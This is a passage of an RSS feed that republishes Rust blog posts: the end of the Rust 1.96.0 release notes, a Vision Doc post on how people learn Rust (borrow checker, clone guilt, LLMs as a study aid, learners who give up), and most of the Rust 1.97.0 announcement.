<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5223/" rel="external">CVE-2026-5223</a> is a <strong>medium</strong> severity vulnerability regarding extraction of crate tarballs with symlinks.</p>
</li>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5222/" rel="external">CVE-2026-5222</a> is a <strong>low</strong> severity vulnerability regarding authentication with normalized URLs.</p>
</li>
</ul>
<p>Users of crates.io are <strong>not affected</strong> by either vulnerability.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.96.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-196-2026-05-28" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-196" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#contributors-to-1-96-0"></a>
Contributors to 1.96.0</h3>
<p>Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.97.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can get <a href="https://www.rust-lang.org/install.html" rel="external"><code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1970-2026-07-09" rel="external">detailed release notes for 1.97.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#what-s-in-1-97-0-stable"></a>
What's in 1.97.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#symbol-mangling-v0-enabled-by-default"></a>
Symbol mangling v0 enabled by default</h4>
<p>When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the <a href="https://refspecs.linuxbase.org/cxxabi-1.86.html#mangling" rel="external">Itanium ABI</a>,
also (sometimes) used by C++.</p>
<p>The new mangling scheme resolves a number of drawbacks from the previous one:</p>
<ul>
<li>Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash</li>
<li>Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary</li>
</ul>
<p>Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via <code>-Csymbol-mangling-version=v0</code>. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.</p>
<p>See the previous <a href="https://blog.rust-lang.org/2025/11/20/switching-to-v0-mangling-on-nightly/" rel="external">blog post</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#cargo-support-for-denying-warnings"></a>
Cargo support for denying warnings</h4>
<p>It's common practice to deny warnings in CI. Historically, doing so is
typically done through <code>RUSTFLAGS=-Dwarnings</code>. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via <code>allow</code>
level), rendering without failing (default, <code>warn</code>), or denying them (via <code>deny</code>).</p>
<p>As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
<code>CARGO_BUILD_WARNINGS=allow cargo check</code>, temporarily silencing them.</p>
<p>In CI, jobs can instead set <code>CARGO_BUILD_WARNINGS=deny</code> to deny warnings. This
can be combined with <code>--keep-going</code> to collect all errors and warnings rather
than stopping on the first failing package.</p>
<p>See the <a href="https://doc.rust-lang.org/cargo/reference/config.html#buildwarnings" rel="external">documentation</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#linker-output-no-longer-hidden-by-default"></a>
Linker output no longer hidden by default</h4>
<p>rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>warning: linker stderr: ignoring deprecated linker optimization setting '1'</span></span>
<span class="giallo-l"><span>  |</span></span>
<span class="giallo-l"><span>  = note: `#[warn(linker_messages)]` on by default</span></span></code></pre>
<p>Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.</p>
<p>Note that currently, <code>linker_messages</code> is a special lint that is <em>not</em> affected
by the <code>warnings</code> lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">file an issue</a>.</p>
<p>To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through <code>Cargo.toml</code> by adding a <a href="https://doc.rust-lang.org/nightly/cargo/reference/manifest.html#the-lints-section" rel="external">lints section</a> like this:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>[</span><span>lints</span><span>.</span><span>rust</span><span>]</span></span>
<span class="giallo-l"><span class="z-variable">linker_messages</span><span> =</span><span class="z-punctuation z-definition z-string z-string"> "</span><span class="z-string z-quoted z-string">allow</span><span class="z-punctuation z-definition z-string z-string">"</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E" rel="external"><code>Default for RepeatN</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError" rel="external"><code>Copy for ffi::FromBytesUntilNulError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154003" rel="external"><code>Send for std::fs::File</code> on UEFI</a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one" rel="external"><code>&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one" rel="external"><code>&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one" rel="external"><code>&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one" rel="external"><code>&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width" rel="external"><code>&lt;{uN}&gt;::bit_width</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_highest_one</code></a></li>
